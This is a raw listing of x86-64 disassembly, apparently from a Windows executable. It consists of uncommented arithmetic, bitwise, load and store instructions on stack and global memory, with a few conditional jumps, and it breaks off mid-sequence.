mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3af0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3abc], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movzx eax, byte [0x140179008]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
movsx eax, word [rsp + 0xc20]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov word [0x14017a4e0], ax
movzx eax, word [0x140179018]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc0c], ax
movsx eax, byte [rsp + 0x44]
movsx ecx, byte [rsp + 0x41]
sar eax, cl
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x45]
or eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x69b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x6a50]
mov rcx, qword [rsp + 0x6a70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6bb0], rax
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ac0]
mov rcx, qword [rsp + 0x6ad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b2c], eax
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6b30]
mov word [rcx], ax
mov eax, dword [rsp + 0x3b14]
mov ecx, dword [rsp + 0x3b68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
add eax, ecx
mov word [rsp + 0xc28], ax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x45]
add eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a50]
movzx ecx, al
mov rax, qword [rsp + 0x6a70]
shl rax, cl
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6af8]
mov rcx, qword [rsp + 0x6ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x45], al
movzx eax, word [rsp + 0xc1c]
movzx ecx, word [rsp + 0xc10]
sub eax, ecx
mov word [0x140179018], ax
cmp dword [rsp + 0x3b90], 0x773d
jbe 0x14000713e
lea rax, [0x140179018]
mov qword [rsp + 0x6bd0], rax
mov rax, qword [rsp + 0x6a70]
mov qword [rsp + 0x6bd8], rax
cmp qword [rsp + 0x6bd8], 0
je 0x1400076e5
movabs rax, 0x7cb67186283b82
cmp qword [rsp + 0x6bd8], rax
je 0x14015dd67
jmp 0x14015ddf9
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x44]
shl eax, cl
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x6b60]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
je 0x14000772e
mov rax, qword [rsp + 0x6ba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x44]
add eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
jmp 0x14015dd18
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc1c]
sub eax, ecx
mov rcx, qword [rsp + 0x6b30]
mov word [rcx], ax
lea rax, [rsp + 0xc28]
mov qword [rsp + 0x6be0], rax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x6b00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b2c], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov qword [rsp + 0x6be8], rax
mov eax, dword [rsp + 0x3b68]
mov ecx, dword [rsp + 0x3b94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b64], eax
movzx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179009], al
mov rax, qword [rsp + 0x6ab0]
movzx eax, byte [rax]
mov byte [rsp + 0x46], al
movzx eax, word [rsp + 0xc1c]
movzx ecx, word [rsp + 0xc14]
sub eax, ecx
mov word [rsp + 0xc0c], ax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x6bf0], rax
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc24], ax
mov eax, dword [rsp + 0x3b2c]
movzx ecx, al
mov eax, dword [rsp + 0x3abc]
sar eax, cl
mov dword [rsp + 0x3b58], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov qword [rsp + 0x6bf8], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b68]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3b64], eax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0x6c00], rax
mov rax, qword [rsp + 0x6b10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b40]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14017901c], ax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45]
and eax, ecx
mov byte [rsp + 0x42], al
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x44]
add eax, ecx
mov byte [rsp + 0x43], al
lea rax, [rsp + 0xc20]
mov qword [rsp + 0x6c08], rax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x6b00]
mov eax, dword [rax]
mov dword [rsp + 0x3be0], eax
mov rax, qword [rsp + 0x6be8]
mov rcx, qword [rsp + 0x6bb0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a50], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3bc8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b68], eax
lea rax, [rsp + 0x69b0]
mov qword [rsp + 0x6c10], rax
movzx eax, byte [rsp + 0x44]
mov byte [0x14017a4d4], al
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc0c]
add eax, ecx
mov word [rsp + 0xc1c], ax
movzx eax, byte [rsp + 0x45]
mov byte [rsp + 0x47], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
movzx eax, word [rsp + 0xc20]
mov word [rsp + 0xc2c], ax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3bb4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b68], eax
lea rax, [rsp + 0x6bb0]
mov qword [rsp + 0x6c18], rax
mov rax, qword [rsp + 0x6c00]
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c10]
mov qword [rcx], rax
lea rax, [rsp + 0x3abc]
mov qword [rsp + 0x6c20], rax
movsx eax, word [rsp + 0xc28]
movsx ecx, word [rsp + 0xc08]
xor eax, ecx
mov word [0x14017901c], ax
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ba8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
lea rax, [rsp + 0x42]
mov qword [rsp + 0x6c28], rax
mov rax, qword [rsp + 0x6b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc1c]
sar eax, cl
mov rcx, qword [rsp + 0x6b30]
mov word [rcx], ax
movsx eax, byte [rsp + 0x43]
mov rcx, qword [rsp + 0x6b60]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x6c18]
mov rax, qword [rax]
mov qword [rsp + 0x6c30], rax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x69b0], rax
mov eax, dword [rsp + 0x3b68]
mov dword [rsp + 0x3be4], eax
mov rax, qword [rsp + 0x6af8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
add eax, ecx
mov byte [0x14017900a], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc14]
sub eax, ecx
mov rcx, qword [rsp + 0x6bd0]
mov word [rcx], ax
lea rax, [0x14017a4e0]
mov qword [rsp + 0x6c38], rax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x46]
mov byte [rsp + 0x48], al
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b94]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b64], eax
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
lea rax, [rsp + 0x3abc]
mov qword [rsp + 0x6c40], rax
mov rax, qword [rsp + 0x6c18]
mov rcx, qword [rsp + 0x6bf8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6c30], rax
lea rax, [rsp + 0xc10]
mov qword [0x14017a4e8], rax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov word [rsp + 0xc30], ax
movsx eax, word [rsp + 0xc20]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc2c], ax
lea rax, [0x140179008]
mov qword [rsp + 0x6c48], rax
movsx eax, byte [rsp + 0x46]
mov rcx, qword [rsp + 0x6b60]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6af8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3abc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6be8]
mov qword [rsp + 0x6c50], rax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6c00]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6c10]
mov qword [rcx], rax
lea rax, [rsp + 0x3bc8]
mov qword [rsp + 0x6c58], rax
movzx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017900b], al
movzx eax, word [rsp + 0xc08]
mov word [rsp + 0xc34], ax
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ba8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x43], al
movzx eax, word [0x140179018]
cdq
mov ecx, 0x731
idiv ecx
mov word [rsp + 0xc14], ax
lea rax, [rsp + 0xc18]
mov qword [rsp + 0x6c60], rax
mov rax, qword [rsp + 0x6c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3abc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3af0], eax
lea rax, [rsp + 0x3b14]
mov qword [rsp + 0x6c68], rax
mov rax, qword [rsp + 0x6a50]
mov qword [rsp + 0x6c70], rax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xc2c]
add eax, ecx
mov word [rsp + 0xc20], ax
lea rax, [rsp + 0x45]
mov qword [0x14017a4f0], rax
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x49], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
lea rax, [rsp + 0xc28]
mov qword [rsp + 0x6c78], rax
lea rax, [rsp + 0x3b94]
mov qword [rsp + 0x6c80], rax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x6a48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6af8]
mov rcx, qword [rsp + 0x6b00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x6a70]
mov qword [rsp + 0x6c88], rax
movsx eax, byte [rsp + 0x46]
movsx ecx, byte [rsp + 0x41]
and eax, ecx
mov byte [rsp + 0x44], al
movzx eax, word [0x140179018]
mov word [0x14017a4f8], ax
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x6c90], rax
movsx eax, word [rsp + 0xc2c]
mov rcx, qword [rsp + 0x6b40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc18], ax
mov rax, qword [rsp + 0x6ba8]
movzx eax, byte [rax]
mov byte [rsp + 0x4a], al
mov rax, qword [rsp + 0x6c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b68]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ac0]
mov ecx, dword [rsp + 0x3b58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6ac0]
mov dword [rcx], eax
lea rax, [0x140179010]
mov qword [rsp + 0x6c98], rax
lea rax, [rsp + 0x6c50]
mov qword [rsp + 0x6ca0], rax
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc28]
xor eax, ecx
mov word [rsp + 0xc2c], ax
lea rax, [rsp + 0xc10]
mov qword [0x14017a500], rax
lea rax, [0x14017a4d4]
mov qword [rsp + 0x6ca8], rax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6b98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
lea rax, [rsp + 0x6c70]
mov qword [rsp + 0x6cb0], rax
mov eax, dword [rsp + 0x3b34]
mov rcx, qword [rsp + 0x6ac0]
mov qword [rsp + 0x6cb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6cb8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x6c20]
mov dword [rcx], eax
lea rax, [rsp + 0x6c00]
mov qword [rsp + 0x6cc0], rax
mov rax, qword [rsp + 0x6c68]
mov ecx, dword [rsp + 0x3bb4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3bc8], eax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x47]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x44]
mov rcx, qword [rsp + 0x6ba8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017900c], al
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x4b], al
movsx eax, word [rsp + 0xc18]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
mov word [rsp + 0xc38], ax
movsx eax, word [rsp + 0xc28]
movsx ecx, word [rsp + 0xc18]
sub eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x69b0]
mov qword [rsp + 0x6cc8], rax
mov rax, qword [rsp + 0x6b00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3abc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6af8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a70]
mov rcx, qword [rsp + 0x6c30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c50], rax
mov eax, dword [rsp + 0x3bc8]
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x6bf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x47]
and eax, ecx
mov byte [0x14017900b], al
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x6c90]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc0c], ax
lea rax, [rsp + 0x41]
mov qword [rsp + 0x6cd0], rax
movzx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6c90]
mov word [rcx], ax
movsx eax, byte [rsp + 0x46]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x48], al
mov rax, qword [rsp + 0x6c68]
mov eax, dword [rax]
mov dword [rsp + 0x3bec], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6c30]
shl rax, cl
mov qword [rsp + 0x6bf8], rax
lea rax, [rsp + 0x3abc]
mov qword [rsp + 0x6cd8], rax
mov rax, qword [rsp + 0x6ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c00]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
lea rax, [rsp + 0x4b]
mov qword [0x14017a508], rax
movzx eax, byte [0x140179008]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
lea rax, [rsp + 0xc2c]
mov qword [rsp + 0x6ce0], rax
movsx eax, byte [rsp + 0x48]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
lea rax, [rsp + 0xc14]
mov qword [rsp + 0x6ce8], rax
mov eax, dword [rsp + 0x3b34]
mov ecx, dword [rsp + 0x3b2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be0], eax
mov rax, qword [rsp + 0x6c68]
mov ecx, dword [rsp + 0x3b14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b68], eax
lea rax, [rsp + 0x6c00]
mov qword [rsp + 0x6cf0], rax
mov rax, qword [rsp + 0x6cb0]
mov rcx, qword [rsp + 0x6ca0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6c18]
mov qword [rcx], rax
lea rax, [rsp + 0x48]
mov qword [0x14017a510], rax
movzx eax, word [0x14017a4e4]
mov word [rsp + 0xc3c], ax
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
mov word [rsp + 0xc40], ax
movsx eax, word [rsp + 0xc08]
movsx ecx, word [rsp + 0xc34]
add eax, ecx
mov rcx, qword [rsp + 0x6c08]
mov word [rcx], ax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6c50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6ca0]
mov qword [rcx], rax
lea rax, [rsp + 0x3b14]
mov qword [rsp + 0x6cf8], rax
mov rax, qword [rsp + 0x6c40]
mov rcx, qword [rsp + 0x6a28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6b00]
mov dword [rcx], eax
lea rax, [rsp + 0x69b0]
mov qword [rsp + 0x6d00], rax
lea rax, [rsp + 0x45]
mov qword [0x14017a518], rax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x49], al
mov rax, qword [rsp + 0x6b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc30]
sar eax, cl
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0x6b10]
movzx eax, word [rax]
mov word [rsp + 0xc44], ax
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc14]
xor eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c80]
mov eax, dword [rax]
mov dword [rsp + 0x3bf0], eax
mov rax, qword [rsp + 0x6c18]
mov rcx, qword [rsp + 0x6c50]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6c18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3b4c]
shl eax, cl
mov dword [rsp + 0x3be0], eax
mov rax, qword [rsp + 0x6cc0]
mov rax, qword [rax]
mov qword [rsp + 0x6d08], rax
lea rax, [rsp + 0xc20]
mov qword [0x14017a520], rax
mov rax, qword [rsp + 0x6ba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
sub eax, ecx
mov rcx, qword [rsp + 0x6ba8]
mov byte [rcx], al
mov rax, qword [0x14017a4f0]
movzx eax, byte [rax]
mov byte [rsp + 0x4c], al
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x44]
add eax, ecx
mov byte [rsp + 0x4a], al
mov rax, qword [rsp + 0x6ce0]
movzx eax, word [rax]
mov word [rsp + 0xc48], ax
mov rax, qword [rsp + 0x6c68]
mov ecx, dword [rsp + 0x3bf0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3b94], eax
mov rax, qword [rsp + 0x6ca0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
lea rax, [rsp + 0x3b2c]
mov qword [rsp + 0x6d10], rax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6d08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6c00], rax
lea rax, [rsp + 0xc14]
mov qword [0x14017a528], rax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
mov byte [rsp + 0x4d], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc38], ax
movsx eax, byte [rsp + 0x4a]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
lea rax, [rsp + 0x40]
mov qword [rsp + 0x6d18], rax
mov rax, qword [rsp + 0x6c10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6d08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a50]
mov qword [rsp + 0x6d20], rax
mov eax, dword [rsp + 0x3b4c]
mov ecx, dword [rsp + 0x3be0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b34], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bc8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b64], eax
lea rax, [rsp + 0xc40]
mov qword [0x14017a530], rax
lea rax, [rsp + 0xc18]
mov qword [rsp + 0x6d28], rax
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
mov rcx, qword [0x14017a508]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
lea rax, [rsp + 0x48]
mov qword [rsp + 0x6d30], rax
mov rax, qword [rsp + 0x6c78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c38]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc28], ax
mov rax, qword [rsp + 0x6ca0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6aa0]
mov qword [rsp + 0x6d38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6d38]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6cb0]
mov qword [rcx], rax
lea rax, [rsp + 0x3be0]
mov qword [rsp + 0x6d40], rax
mov rax, qword [rsp + 0x6d08]
mov rcx, qword [rsp + 0x6c00]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6cc0]
mov qword [rcx], rax
lea rax, [rsp + 0x3b94]
mov qword [rsp + 0x6d48], rax
movsx eax, word [0x14017901c]
mov rcx, qword [rsp + 0x6be0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc34], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
and eax, ecx
mov byte [0x14017900d], al
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x6d50], rax
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
add eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0x6d58], rax
mov eax, dword [rsp + 0x3abc]
mov ecx, dword [rsp + 0x3b34]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6cd8]
mov dword [rcx], eax
lea rax, [rsp + 0x3be8]
mov qword [rsp + 0x6d60], rax
mov rax, qword [rsp + 0x6c18]
mov rcx, qword [rsp + 0x6be8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6c70], rax
mov rax, qword [rsp + 0x6ce0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc28]
sub eax, ecx
mov word [rsp + 0xc48], ax
movzx eax, byte [rsp + 0x4d]
mov rcx, qword [rsp + 0x6c48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140179009], al
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
mov word [rsp + 0xc4c], ax
movzx eax, word [rsp + 0xc38]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x6d68], rax
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [0x140179004]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x6d48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3b68]
shl eax, cl
mov dword [rsp + 0x3bb4], eax
mov rax, qword [rsp + 0x6ca0]
mov rax, qword [rax]
mov qword [rsp + 0x6d70], rax
mov rax, qword [rsp + 0x6d58]
mov rcx, qword [rsp + 0x6ad8]
mov qword [rsp + 0x6d78], rcx
movzx ecx, al
